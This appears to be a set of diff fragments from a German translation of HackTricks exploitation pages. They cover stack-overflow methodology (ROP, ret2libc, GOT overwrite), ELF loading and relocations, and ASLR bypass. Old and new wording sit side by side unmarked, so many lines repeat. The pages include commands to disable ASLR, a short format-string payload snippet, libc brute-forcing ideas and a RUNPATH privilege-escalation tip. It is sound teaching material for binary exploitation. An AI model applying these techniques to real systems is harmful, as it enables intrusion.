Der **Full RELRO**-Schutz soll gegen diese Art von Technik schützen, indem er alle Adressen der Funktionen beim Start der Binärdatei auflöst und die **GOT-Tabelle nachfolgend schreibgeschützt macht**:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md

View File

@ -18,17 +18,17 @@ tools/
## Stack Overflow Methodik
Bei so vielen Techniken ist es gut, ein Schema zu haben, wann jede Technik nützlich sein wird. Beachten Sie, dass die gleichen Schutzmaßnahmen unterschiedliche Techniken beeinflussen werden. Sie können Möglichkeiten finden, die Schutzmaßnahmen in jedem Schutzabschnitt zu umgehen, jedoch nicht in dieser Methodik.
Bei so vielen Techniken ist es gut, ein Schema zu haben, wann jede Technik nützlich sein wird. Beachten Sie, dass die gleichen Schutzmaßnahmen unterschiedliche Techniken beeinflussen. Sie können Möglichkeiten finden, die Schutzmaßnahmen in jedem Schutzabschnitt zu umgehen, jedoch nicht in dieser Methodik.
## Steuerung des Flusses
Es gibt verschiedene Möglichkeiten, wie Sie den Fluss eines Programms steuern können:
- [**Stack Overflows**](../stack-overflow/index.html), indem der Rückgabepointer vom Stack oder der EBP -> ESP -> EIP überschrieben wird.
- [**Stack Overflows**](../stack-overflow/index.html), die den Rückgabepointer vom Stack oder den EBP -> ESP -> EIP überschreiben.
- Möglicherweise müssen Sie einen [**Integer Overflow**](../integer-overflow.md) ausnutzen, um den Overflow zu verursachen.
- Oder über **Arbitrary Writes + Write What Where to Execution**.
- [**Format-Strings**](../format-strings/index.html)**:** Missbrauch von `printf`, um beliebige Inhalte an beliebige Adressen zu schreiben.
- [**Array-Indexierung**](../array-indexing.md): Missbrauch einer schlecht gestalteten Indizierung, um einige Arrays zu steuern und einen beliebigen Schreibzugriff zu erhalten.
- [**Array-Indexierung**](../array-indexing.md): Missbrauch einer schlecht gestalteten Indexierung, um einige Arrays zu steuern und einen beliebigen Schreibzugriff zu erhalten.
- Möglicherweise müssen Sie einen [**Integer Overflow**](../integer-overflow.md) ausnutzen, um den Overflow zu verursachen.
- **bof zu WWW über ROP**: Missbrauch eines Buffer Overflows, um ein ROP zu konstruieren und in der Lage zu sein, ein WWW zu erhalten.
@ -40,11 +40,11 @@ Sie finden die **Write What Where to Execution** Techniken in:
## Ewige Schleifen
Etwas, das zu berücksichtigen ist, ist, dass normalerweise **nur eine Ausnutzung einer Schwachstelle möglicherweise nicht ausreicht**, um einen erfolgreichen Exploit auszuführen, insbesondere müssen einige Schutzmaßnahmen umgangen werden. Daher ist es interessant, einige Optionen zu diskutieren, um **eine einzelne Schwachstelle mehrmals in derselben Ausführung der Binärdatei ausnutzbar zu machen**:
Etwas, das zu berücksichtigen ist, ist, dass normalerweise **nur eine Ausnutzung einer Schwachstelle möglicherweise nicht ausreicht**, um einen erfolgreichen Exploit auszuführen, insbesondere müssen einige Schutzmaßnahmen umgangen werden. Daher ist es interessant, einige Optionen zu diskutieren, um **eine einzelne Schwachstelle mehrmals** in derselben Ausführung der Binärdatei ausnutzbar zu machen:
- Schreiben Sie in eine **ROP**-Kette die Adresse der **`main`-Funktion** oder die Adresse, an der die **Schwachstelle** auftritt.
- Durch die Kontrolle einer ordnungsgemäßen ROP-Kette könnten Sie in der Lage sein, alle Aktionen in dieser Kette auszuführen.
- Schreiben Sie die **`exit`-Adresse in GOT** (oder eine andere Funktion, die von der Binärdatei vor dem Ende verwendet wird) die Adresse, um **zurück zur Schwachstelle** zu gehen.
- Schreiben Sie in die **`exit`-Adresse in GOT** (oder eine andere Funktion, die von der Binärdatei vor dem Ende verwendet wird) die Adresse, um **zur Schwachstelle zurückzukehren**.
- Wie in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** speichern Sie hier 2 Funktionen, eine um die Schwachstelle erneut aufzurufen und eine andere um **`__libc_csu_fini`** aufzurufen, die die Funktion aus `.fini_array` erneut aufruft.
## Ausnutzungsziele
@ -66,10 +66,10 @@ Etwas, das zu berücksichtigen ist, ist, dass normalerweise **nur eine Ausnutzun
### Ziel: RCE
#### Über Shellcode, wenn nx deaktiviert ist oder Shellcode mit ROP gemischt wird:
#### Über Shellcode, wenn nx deaktiviert oder Shellcode mit ROP gemischt:
- [**(Stack) Shellcode**](#stack-shellcode): Dies ist nützlich, um einen Shellcode im Stack zu speichern, bevor oder nachdem der Rückgabepointer überschrieben wurde, und dann **dorthin zu springen**, um ihn auszuführen:
- **In jedem Fall, wenn es einen** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)** gibt, müssen Sie in einem regulären bof umgehen (leaken)**
- **In jedem Fall, wenn es einen** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)** gibt, müssen Sie in einem regulären bof (leaken) umgehen.**
- **Ohne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **und** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) ist es möglich, zur Adresse des Stacks zu springen, da sie sich niemals ändern wird.
- **Mit** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) müssen Sie Techniken wie [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) verwenden, um dorthin zu springen.
- **Mit** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) müssen Sie einige [**ROP**](../rop-return-oriented-programing/index.html) **verwenden, um `memprotect` aufzurufen** und eine Seite `rwx` zu machen, um dann **den Shellcode dort zu speichern** (zum Beispiel durch Aufruf von read) und dann dorthin zu springen.
@ -78,23 +78,23 @@ Etwas, das zu berücksichtigen ist, ist, dass normalerweise **nur eine Ausnutzun
#### Über Syscalls
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Nützlich, um `execve` aufzurufen, um beliebige Befehle auszuführen. Sie müssen in der Lage sein, die **Gadgets zu finden, um den spezifischen Syscall mit den Parametern** aufzurufen.
- Wenn [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) oder [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) aktiviert sind, müssen Sie sie überwinden, **um ROP-Gadgets** aus der Binärdatei oder Bibliotheken zu verwenden.
- Wenn [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) oder [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) aktiviert sind, müssen Sie sie besiegen, **um ROP-Gadgets** aus der Binärdatei oder Bibliotheken zu verwenden.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) kann nützlich sein, um die **ret2execve** vorzubereiten.
- Gadgets von [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) und [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md), um mehrere Register zu steuern.
#### Über libc
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Nützlich, um eine Funktion aus einer Bibliothek (normalerweise aus **`libc`**) wie **`system`** mit einigen vorbereiteten Argumenten (z.B. `'/bin/sh'`) aufzurufen. Sie müssen die Binärdatei **die Bibliothek laden**, mit der Funktion, die Sie aufrufen möchten (normalerweise libc).
- Wenn **statisch kompiliert und kein** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), ändern sich die **Adressen** von `system` und `/bin/sh` nicht, sodass es möglich ist, sie statisch zu verwenden.
- **Ohne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **und Kenntnis der geladenen libc-Version** ändern sich die **Adressen** von `system` und `/bin/sh` nicht, sodass es möglich ist, sie statisch zu verwenden.
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Nützlich, um eine Funktion aus einer Bibliothek (normalerweise aus **`libc`**) wie **`system`** mit einigen vorbereiteten Argumenten (z.B. `'/bin/sh'`) aufzurufen. Sie müssen die Binärdatei **die Bibliothek laden** lassen, mit der Funktion, die Sie aufrufen möchten (normalerweise libc).
- Wenn **statisch kompiliert und kein** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), ändern sich die **Adressen** von `system` und `/bin/sh` nicht, sodass sie statisch verwendet werden können.
- **Ohne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **und Kenntnis der geladenen libc-Version** ändern sich die **Adressen** von `system` und `/bin/sh` nicht, sodass sie statisch verwendet werden können.
- Mit [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **aber ohne** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, wenn die libc bekannt ist und die Binärdatei die `system`**-Funktion verwendet, ist es möglich, **`ret` zur Adresse von system in der GOT** mit der Adresse von `'/bin/sh'` im Parameter zu verwenden (das müssen Sie herausfinden).
- Mit [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) aber ohne [PIE](../common-binary-protections-and-bypasses/pie/index.html), wenn die libc bekannt ist und **ohne dass die Binärdatei die `system`** verwendet:
- Verwenden Sie [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md), um die Adresse von `system` aufzulösen und sie aufzurufen.
- **Umgehen** Sie [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) und berechnen Sie die Adresse von `system` und `'/bin/sh'` im Speicher.
- **Umgehen** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) und berechnen Sie die Adresse von `system` und `'/bin/sh'` im Speicher.
- **Mit** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **und** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **und ohne Kenntnis der libc**: Sie müssen:
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) umgehen.
- Die **`libc`-Version** herausfinden (leaken Sie ein paar Funktionsadressen).
- Überprüfen Sie die **vorherigen Szenarien mit ASLR**, um fortzufahren.
- Die **`libc`-Version** herausfinden (ein paar Funktionsadressen leaken).
- Die **vorherigen Szenarien mit ASLR** überprüfen, um fortzufahren.
#### Über EBP/RBP

View File

@ -41,7 +41,7 @@ Die vorherige Programm hat **9 Programm-Header**, dann zeigt die **Segmentzuordn
### PHDR - Programm-Header
Enthält die Programm-Header-Tabellen und die Metadaten selbst.
Enthält die Programm-Header-Tabellen und Metadaten selbst.
### INTERP
@ -54,7 +54,7 @@ Gibt den Pfad des Loaders an, der verwendet werden soll, um die Binärdatei in d
Diese Header werden verwendet, um anzugeben, **wie eine Binärdatei in den Speicher geladen werden soll.**\
Jeder **LOAD**-Header gibt einen Bereich des **Speichers** (Größe, Berechtigungen und Ausrichtung) an und zeigt die Bytes der ELF **Binärdatei, die dort kopiert werden sollen**.
Zum Beispiel hat der zweite eine Größe von 0x1190, sollte sich bei 0x1fc48 mit den Berechtigungen Lesen und Schreiben befinden und wird von dem Offset 0xfc48 mit 0x528 gefüllt (es füllt nicht den gesamten reservierten Platz). Dieser Speicher wird die Abschnitte `.init_array .fini_array .dynamic .got .data .bss` enthalten.
Zum Beispiel hat der zweite eine Größe von 0x1190, sollte sich bei 0x1fc48 mit den Berechtigungen Lesen und Schreiben befinden und wird mit 0x528 vom Offset 0xfc48 gefüllt (es füllt nicht den gesamten reservierten Speicher). Dieser Speicher wird die Abschnitte `.init_array .fini_array .dynamic .got .data .bss` enthalten.
### DYNAMIC
@ -76,13 +76,13 @@ Definiert den Standort der Stack-Unwind-Tabellen, die von Debuggern und C++-Ausn
### GNU_STACK
Enthält die Konfiguration der Stack-Ausführungspräventionsverteidigung. Wenn aktiviert, kann die Binärdatei keinen Code vom Stack ausführen.
Enthält die Konfiguration des Stack-Ausführungspräventionsschutzes. Wenn aktiviert, kann die Binärdatei keinen Code vom Stack ausführen.
- Überprüfen Sie mit `readelf -l ./bin | grep GNU_STACK`. Um es während der Tests zwangsweise umzuschalten, können Sie `execstack -s|-c ./bin` verwenden.
### GNU_RELRO
Gibt die RELRO (Relocation Read-Only)-Konfiguration der Binärdatei an. Dieser Schutz markiert bestimmte Abschnitte des Speichers (wie die `GOT` oder die `init` und `fini`-Tabellen) nach dem Laden des Programms und bevor es ausgeführt wird, als schreibgeschützt.
Gibt die RELRO (Relocation Read-Only)-Konfiguration der Binärdatei an. Dieser Schutz markiert bestimmte Abschnitte des Speichers (wie die `GOT` oder die `init` und `fini`-Tabellen) nach dem Laden des Programms und bevor es zu laufen beginnt, als schreibgeschützt.
Im vorherigen Beispiel kopiert es 0x3b8 Bytes nach 0x1fc48 als schreibgeschützt, was die Abschnitte `.init_array .fini_array .dynamic .got .data .bss` betrifft.
@ -100,7 +100,7 @@ Definiert eine Tabelle von TLS-Einträgen, die Informationen über thread-lokale
## Abschnitts-Header
Abschnitts-Header geben eine detailliertere Ansicht der ELF-Binärdatei.
Abschnitts-Header geben einen detaillierteren Überblick über die ELF-Binärdatei.
```
objdump lnstat -h
@ -206,7 +206,7 @@ Jeder Symbol-Eintrag enthält:
- **Name**
- **Bindungsattribute** (schwach, lokal oder global): Ein lokales Symbol kann nur vom Programm selbst zugegriffen werden, während globale Symbole außerhalb des Programms geteilt werden. Ein schwaches Objekt ist zum Beispiel eine Funktion, die von einer anderen überschrieben werden kann.
- **Typ**: NOTYPE (kein Typ angegeben), OBJECT (globale Datenvariable), FUNC (Funktion), SECTION (Sektion), FILE (Quellcodedatei für Debugger), TLS (thread-lokale Variable), GNU_IFUNC (indirekte Funktion für Relokation)
- **Sektion**-Index, wo es sich befindet
- **Sektion** Index, wo es sich befindet
- **Wert** (Adresse im Speicher)
- **Größe**
@ -249,7 +249,7 @@ Tag Type Name/Value
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
Das NEEDED-Verzeichnis zeigt an, dass das Programm **die erwähnte Bibliothek laden muss**, um fortzufahren. Das NEEDED-Verzeichnis wird abgeschlossen, sobald die gemeinsame **Bibliothek vollständig betriebsbereit und einsatzbereit** ist.
Das NEEDED-Verzeichnis zeigt an, dass das Programm **die erwähnte Bibliothek laden muss**, um fortzufahren. Das NEEDED-Verzeichnis wird abgeschlossen, sobald die gemeinsame **Bibliothek vollständig betriebsbereit und bereit** zur Verwendung ist.
### Suchreihenfolge des dynamischen Laders (RPATH/RUNPATH, $ORIGIN)
@ -261,12 +261,12 @@ Die Einträge `DT_RPATH` (veraltet) und/oder `DT_RUNPATH` beeinflussen, wo der d
- `ld.so.cache`
- Standardverzeichnisse wie `/lib64`, `/usr/lib64` usw.
`$ORIGIN` kann innerhalb von RPATH/RUNPATH verwendet werden, um auf das Verzeichnis des Hauptobjekts zu verweisen. Aus der Perspektive eines Angreifers ist dies wichtig, wenn Sie die Dateisystemanordnung oder die Umgebung kontrollieren. Für gehärtete Binärdateien (AT_SECURE) werden die meisten Umgebungsvariablen vom Loader ignoriert.
`$ORIGIN` kann innerhalb von RPATH/RUNPATH verwendet werden, um auf das Verzeichnis des Hauptobjekts zu verweisen. Aus der Perspektive eines Angreifers ist dies wichtig, wenn Sie das Dateisystemlayout oder die Umgebung kontrollieren. Für gehärtete Binärdateien (AT_SECURE) werden die meisten Umgebungsvariablen vom Loader ignoriert.
- Überprüfen mit: `readelf -d ./bin | egrep -i 'r(path|unpath)'`
- Schneller Test: `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (zeigt Entscheidungen über den Suchpfad)
> Priv-esc Tipp: Bevorzugen Sie das Ausnutzen von beschreibbaren RUNPATHs oder falsch konfigurierten `$ORIGIN`-relativen Pfaden, die Ihnen gehören. LD_PRELOAD/LD_AUDIT werden in sicheren Ausführungs-(setuid) Kontexten ignoriert.
> Priv-esc-Tipp: Bevorzugen Sie das Ausnutzen von beschreibbaren RUNPATHs oder falsch konfigurierten `$ORIGIN`-relativen Pfaden, die Ihnen gehören. LD_PRELOAD/LD_AUDIT werden in sicheren Ausführungs-(setuid) Kontexten ignoriert.
## Relokationen
@ -344,7 +344,7 @@ Offset Info Type Sym. Value Sym. Name + Addend
```
### Statische Relokationen
Wenn das **Programm an einem anderen Ort geladen wird** als der bevorzugte Adresse (normalerweise 0x400000), weil die Adresse bereits verwendet wird oder wegen **ASLR** oder aus einem anderen Grund, korrigiert eine statische Relokation **Zeiger**, die Werte erwarteten, dass die Binärdatei an der bevorzugten Adresse geladen wird.
Wenn das **Programm an einem anderen Ort geladen wird** als der bevorzugte Adresse (normalerweise 0x400000), weil die Adresse bereits verwendet wird oder wegen **ASLR** oder aus einem anderen Grund, korrigiert eine statische Relokation **Zeiger**, die Werte erwarteten, dass das Binärprogramm an der bevorzugten Adresse geladen wird.
Zum Beispiel sollte jeder Abschnitt vom Typ `R_AARCH64_RELATIV` die Adresse am Relokationsbias plus den Addendwert modifizieren.
@ -352,23 +352,23 @@ Zum Beispiel sollte jeder Abschnitt vom Typ `R_AARCH64_RELATIV` die Adresse am R
Die Relokation könnte auch auf ein externes Symbol verweisen (wie eine Funktion aus einer Abhängigkeit). Wie die Funktion malloc aus libC. Dann wird der Loader beim Laden von libC an einer Adresse, an der die malloc-Funktion geladen ist, diese Adresse in die GOT (Global Offset Table) Tabelle (angegeben in der Relokationstabelle) schreiben, wo die Adresse von malloc angegeben werden sollte.
### Verfahren Linkage Tabelle
### Prozedurenverknüpfungstabelle
Der PLT-Bereich ermöglicht eine verzögerte Bindung, was bedeutet, dass die Auflösung des Standorts einer Funktion beim ersten Zugriff durchgeführt wird.
Der PLT-Abschnitt ermöglicht eine verzögerte Bindung, was bedeutet, dass die Auflösung des Standorts einer Funktion beim ersten Zugriff durchgeführt wird.
Wenn ein Programm also malloc aufruft, ruft es tatsächlich den entsprechenden Standort von `malloc` im PLT (`malloc@plt`) auf. Beim ersten Aufruf wird die Adresse von `malloc` aufgelöst und gespeichert, sodass beim nächsten Aufruf von `malloc` diese Adresse anstelle des PLT-Codes verwendet wird.
#### Moderne Verlinkungsverhalten, die die Ausnutzung beeinflussen
#### Moderne Verknüpfungsverhalten, die die Ausnutzung beeinflussen
- `-z now` (Vollständiges RELRO) deaktiviert die verzögerte Bindung; PLT-Einträge existieren weiterhin, aber GOT/PLT ist schreibgeschützt gemappt, sodass Techniken wie **GOT-Überschreibung** und **ret2dlresolve** gegen die Haupt-Binärdatei nicht funktionieren (Bibliotheken können weiterhin teilweise RELRO sein). Siehe:
- `-z now` (Vollständiges RELRO) deaktiviert die verzögerte Bindung; PLT-Einträge existieren weiterhin, aber GOT/PLT ist schreibgeschützt gemappt, sodass Techniken wie **GOT-Überschreibung** und **ret2dlresolve** gegen das Haupt-Binärprogramm nicht funktionieren (Bibliotheken können weiterhin teilweise RELRO sein). Siehe:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
- `-fno-plt` lässt den Compiler externe Funktionen über den **GOT-Eintrag direkt** aufrufen, anstatt über den PLT-Stubs zu gehen. Sie werden Aufrufsequenzen wie `mov reg, [got]; call reg` anstelle von `call func@plt` sehen. Dies reduziert den Missbrauch von spekulativer Ausführung und ändert leicht die ROP-Gadget-Suche rund um PLT-Stubs.
- -fno-plt lässt den Compiler externe Funktionen über den **GOT-Eintrag direkt** aufrufen, anstatt über den PLT-Stubs zu gehen. Sie werden Aufrufsequenzen wie mov reg, [got]; call reg sehen, anstatt call func@plt. Dies reduziert den Missbrauch von spekulativer Ausführung und ändert leicht die ROP-Gadget-Suche rund um PLT-Stubs.
- PIE vs static-PIE: PIE (ET_DYN mit `INTERP`) benötigt den dynamischen Loader und unterstützt die übliche PLT/GOT-Mechanik. Static-PIE (ET_DYN ohne `INTERP`) hat Relokationen, die vom Kernel-Loader angewendet werden, und kein `ld.so`; erwarten Sie keine PLT-Auflösung zur Laufzeit.
- PIE vs static-PIE: PIE (ET_DYN mit INTERP) benötigt den dynamischen Loader und unterstützt die übliche PLT/GOT-Mechanik. Static-PIE (ET_DYN ohne INTERP) hat Relokationen, die vom Kernel-Loader angewendet werden, und kein ld.so; erwarten Sie keine PLT-Auflösung zur Laufzeit.
> Wenn GOT/PLT keine Option ist, wechseln Sie zu anderen beschreibbaren Code-Zeigern oder verwenden Sie klassisches ROP/SROP in libc.
@ -378,7 +378,7 @@ Wenn ein Programm also malloc aufruft, ruft es tatsächlich den entsprechenden S
## Programminitialisierung
Nachdem das Programm geladen wurde, ist es Zeit, dass es ausgeführt wird. Der erste Code, der ausgeführt wird, ist jedoch **nicht immer die `main`**-Funktion. Dies liegt daran, dass beispielsweise in C++, wenn eine **globale Variable ein Objekt einer Klasse ist**, dieses Objekt **vor** dem Ausführen von main **initialisiert** werden muss, wie in:
Nachdem das Programm geladen wurde, ist es Zeit, dass es ausgeführt wird. Allerdings ist der erste Code, der ausgeführt wird, **nicht immer die `main`**-Funktion. Dies liegt daran, dass zum Beispiel in C++, wenn eine **globale Variable ein Objekt einer Klasse ist**, dieses Objekt **initialisiert** **werden muss**, **bevor** main ausgeführt wird, wie in:
```cpp
#include <stdio.h>
// g++ autoinit.cpp -o autoinit
@ -429,7 +429,7 @@ Darüber hinaus ist es auch möglich, ein **`PREINIT_ARRAY`** mit **Zeigern** zu
3. **`PREINIT_ARRAY`**-Funktionen werden ausgeführt.
4. **`INIT_ARRAY`**-Funktionen werden ausgeführt.
5. Wenn es einen **`INIT`**-Eintrag gibt, wird dieser aufgerufen.
6. Wenn es sich um eine Bibliothek handelt, endet dlopen hier, wenn es sich um ein Programm handelt, ist es Zeit, den **echten Einstiegspunkt** (Funktion `main`) aufzurufen.
6. Wenn es sich um eine Bibliothek handelt, endet dlopen hier; wenn es sich um ein Programm handelt, ist es Zeit, den **tatsächlichen Einstiegspunkt** (Funktion `main`) aufzurufen.
## Thread-lokaler Speicher (TLS)
@ -441,7 +441,7 @@ Wenn dies verwendet wird, werden die Sektionen **`.tdata`** und **`.tbss`** im E
Jede Variable hat einen Eintrag im TLS-Header, der die Größe und den TLS-Offset angibt, der der Offset ist, den sie im lokalen Datenbereich des Threads verwenden wird.
Der `__TLS_MODULE_BASE` ist ein Symbol, das verwendet wird, um auf die Basisadresse des thread-lokalen Speichers zu verweisen und auf den Bereich im Speicher zeigt, der alle thread-lokalen Daten eines Moduls enthält.
Der `__TLS_MODULE_BASE` ist ein Symbol, das verwendet wird, um auf die Basisadresse des thread-lokalen Speichers zu verweisen und auf den Bereich im Speicher zu zeigen, der alle thread-lokalen Daten eines Moduls enthält.
## Hilfsvektor (auxv) und vDSO

View File

@ -2,11 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
## Grundinformationen
## Grundlegende Informationen
**Address Space Layout Randomization (ASLR)** ist eine Sicherheitstechnik, die in Betriebssystemen verwendet wird, um die **Speicheradressen** zu **randomisieren**, die von System- und Anwendungsprozessen verwendet werden. Dadurch wird es für einen Angreifer erheblich schwieriger, den Standort bestimmter Prozesse und Daten, wie den Stack, Heap und Bibliotheken, vorherzusagen, was bestimmte Arten von Exploits, insbesondere Pufferüberläufe, abschwächt.
### **Überprüfung des ASLR-Status**
### **Überprüfen des ASLR-Status**
Um den ASLR-Status auf einem Linux-System zu **überprüfen**, können Sie den Wert aus der **`/proc/sys/kernel/randomize_va_space`**-Datei lesen. Der in dieser Datei gespeicherte Wert bestimmt die Art des angewendeten ASLR:
@ -18,18 +18,18 @@ Sie können den ASLR-Status mit dem folgenden Befehl überprüfen:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **Deaktivierung von ASLR**
### **Deaktivieren von ASLR**
Um ASLR zu **deaktivieren**, setzen Sie den Wert von `/proc/sys/kernel/randomize_va_space` auf **0**. Die Deaktivierung von ASLR wird außerhalb von Test- oder Debugging-Szenarien im Allgemeinen nicht empfohlen. So können Sie es deaktivieren:
Um ASLR zu **deaktivieren**, setzen Sie den Wert von `/proc/sys/kernel/randomize_va_space` auf **0**. Das Deaktivieren von ASLR wird allgemein nicht empfohlen, außer in Test- oder Debugging-Szenarien. So können Sie es deaktivieren:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Sie können ASLR auch für eine Ausführung mit deaktivieren:
Sie können ASLR auch für eine Ausführung mit folgendem Befehl deaktivieren:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **Aktivierung von ASLR**
### **Aktivieren von ASLR**
Um ASLR zu **aktivieren**, können Sie den Wert **2** in die Datei `/proc/sys/kernel/randomize_va_space` schreiben. Dies erfordert typischerweise Root-Rechte. Die vollständige Randomisierung kann mit dem folgenden Befehl durchgeführt werden:
```bash
@ -55,11 +55,11 @@ Dies stellt sicher, dass Ihre ASLR-Einstellungen über Neustarts hinweg bestehen
PaX unterteilt den Adressraum des Prozesses in **3 Gruppen**:
- **Code und Daten** (initialisiert und nicht initialisiert): `.text`, `.data` und `.bss` —> **16 Bits** Entropie in der `delta_exec`-Variablen. Diese Variable wird bei jedem Prozess zufällig initialisiert und zu den Anfangsadressen addiert.
- **Code und Daten** (initialisiert und nicht initialisiert): `.text`, `.data` und `.bss` —> **16 Bits** Entropie in der `delta_exec`-Variablen. Diese Variable wird bei jedem Prozess zufällig initialisiert und zu den ursprünglichen Adressen addiert.
- **Speicher**, der von `mmap()` zugewiesen wird, und **gemeinsame Bibliotheken** —> **16 Bits**, genannt `delta_mmap`.
- **Der Stack** —> **24 Bits**, bezeichnet als `delta_stack`. Es verwendet jedoch effektiv **11 Bits** (vom 10. bis zum 20. Byte einschließlich), ausgerichtet auf **16 Bytes** —> Dies ergibt **524.288 mögliche reale Stack-Adressen**.
- **Der Stack** —> **24 Bits**, bezeichnet als `delta_stack`. Allerdings verwendet er effektiv **11 Bits** (vom 10. bis zum 20. Byte einschließlich), ausgerichtet auf **16 Bytes** —> Dies ergibt **524.288 mögliche reale Stack-Adressen**.
Die vorherigen Daten gelten für 32-Bit-Systeme, und die reduzierte endgültige Entropie ermöglicht es, ASLR durch wiederholtes Ausführen zu umgehen, bis der Exploit erfolgreich abgeschlossen ist.
Die vorherigen Daten gelten für 32-Bit-Systeme, und die reduzierte endgültige Entropie macht es möglich, ASLR zu umgehen, indem die Ausführung immer wieder wiederholt wird, bis der Exploit erfolgreich abgeschlossen ist.
#### Brute-Force-Ideen:
@ -72,7 +72,7 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
- Wenn Sie einen Remote-Server angreifen, könnten Sie versuchen, **die Adresse der `libc`-Funktion `usleep` zu brute-forcen**, indem Sie als Argument 10 übergeben (zum Beispiel). Wenn der **Server irgendwann 10 Sekunden länger für die Antwort benötigt**, haben Sie die Adresse dieser Funktion gefunden.
> [!TIP]
> In 64-Bit-Systemen ist die Entropie viel höher und das sollte nicht möglich sein.
> In 64-Bit-Systemen ist die Entropie viel höher und dies sollte nicht möglich sein.
### 64-Bit-Stack-Brute-Forcing
@ -154,7 +154,7 @@ Die Datei **`/proc/[pid]/stat`** eines Prozesses ist immer für alle lesbar und
- **arg_start** & **arg_end**: Adressen oberhalb und unterhalb, wo sich die **CLI-Argumente** befinden.
- **env_start** & **env_end**: Adressen oberhalb und unterhalb, wo sich die **Umgebungsvariablen** befinden.
Daher, wenn der Angreifer sich auf demselben Computer wie die auszunutzende Binärdatei befindet und diese Binärdatei nicht mit einem Überlauf von rohen Argumenten rechnet, sondern mit einem anderen **Eingang, der nach dem Lesen dieser Datei erstellt werden kann**. Ist es möglich für einen Angreifer, **einige Adressen aus dieser Datei zu erhalten und von ihnen Offsets für den Exploit zu konstruieren**.
Daher, wenn der Angreifer sich auf demselben Computer wie die auszunutzende Binärdatei befindet und diese Binärdatei nicht erwartet, dass der Überlauf von rohen Argumenten kommt, sondern von einem anderen **Eingang, der nach dem Lesen dieser Datei erstellt werden kann**. Ist es möglich für einen Angreifer, **einige Adressen aus dieser Datei zu erhalten und Offsets daraus für den Exploit zu konstruieren**.
> [!TIP]
> Für weitere Informationen zu dieser Datei siehe [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) und suche nach `/proc/pid/stat`
@ -209,7 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
Du kannst mehr Informationen über Format Strings und arbiträres Lesen finden in:
Du kannst mehr Informationen über Format Strings willkürliches Lesen finden in:
{{#ref}}
../../format-strings/
@ -225,12 +225,12 @@ ret2ret.md
### vsyscall
Der **`vsyscall`**-Mechanismus dient zur Leistungssteigerung, indem bestimmte Systemaufrufe im Benutzerspeicher ausgeführt werden, obwohl sie grundsätzlich Teil des Kernels sind. Der entscheidende Vorteil von **vsyscalls** liegt in ihren **festen Adressen**, die nicht der **ASLR** (Address Space Layout Randomization) unterliegen. Diese feste Natur bedeutet, dass Angreifer keine Informationsleckanfälligkeit benötigen, um ihre Adressen zu bestimmen und sie in einem Exploit zu verwenden.\
Allerdings werden hier keine besonders interessanten Gadgets gefunden (obwohl es beispielsweise möglich ist, ein `ret;`-Äquivalent zu erhalten).
Der **`vsyscall`** Mechanismus dient zur Leistungssteigerung, indem bestimmte Systemaufrufe im Benutzerspeicher ausgeführt werden, obwohl sie grundsätzlich Teil des Kernels sind. Der entscheidende Vorteil von **vsyscalls** liegt in ihren **festen Adressen**, die nicht der **ASLR** (Address Space Layout Randomization) unterliegen. Diese feste Natur bedeutet, dass Angreifer keine Informationsleckanfälligkeit benötigen, um ihre Adressen zu bestimmen und sie in einem Exploit zu verwenden.\
Allerdings werden hier keine besonders interessanten Gadgets gefunden (obwohl es zum Beispiel möglich ist, ein `ret;` Äquivalent zu erhalten).
(Das folgende Beispiel und der Code sind [**aus diesem Bericht**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
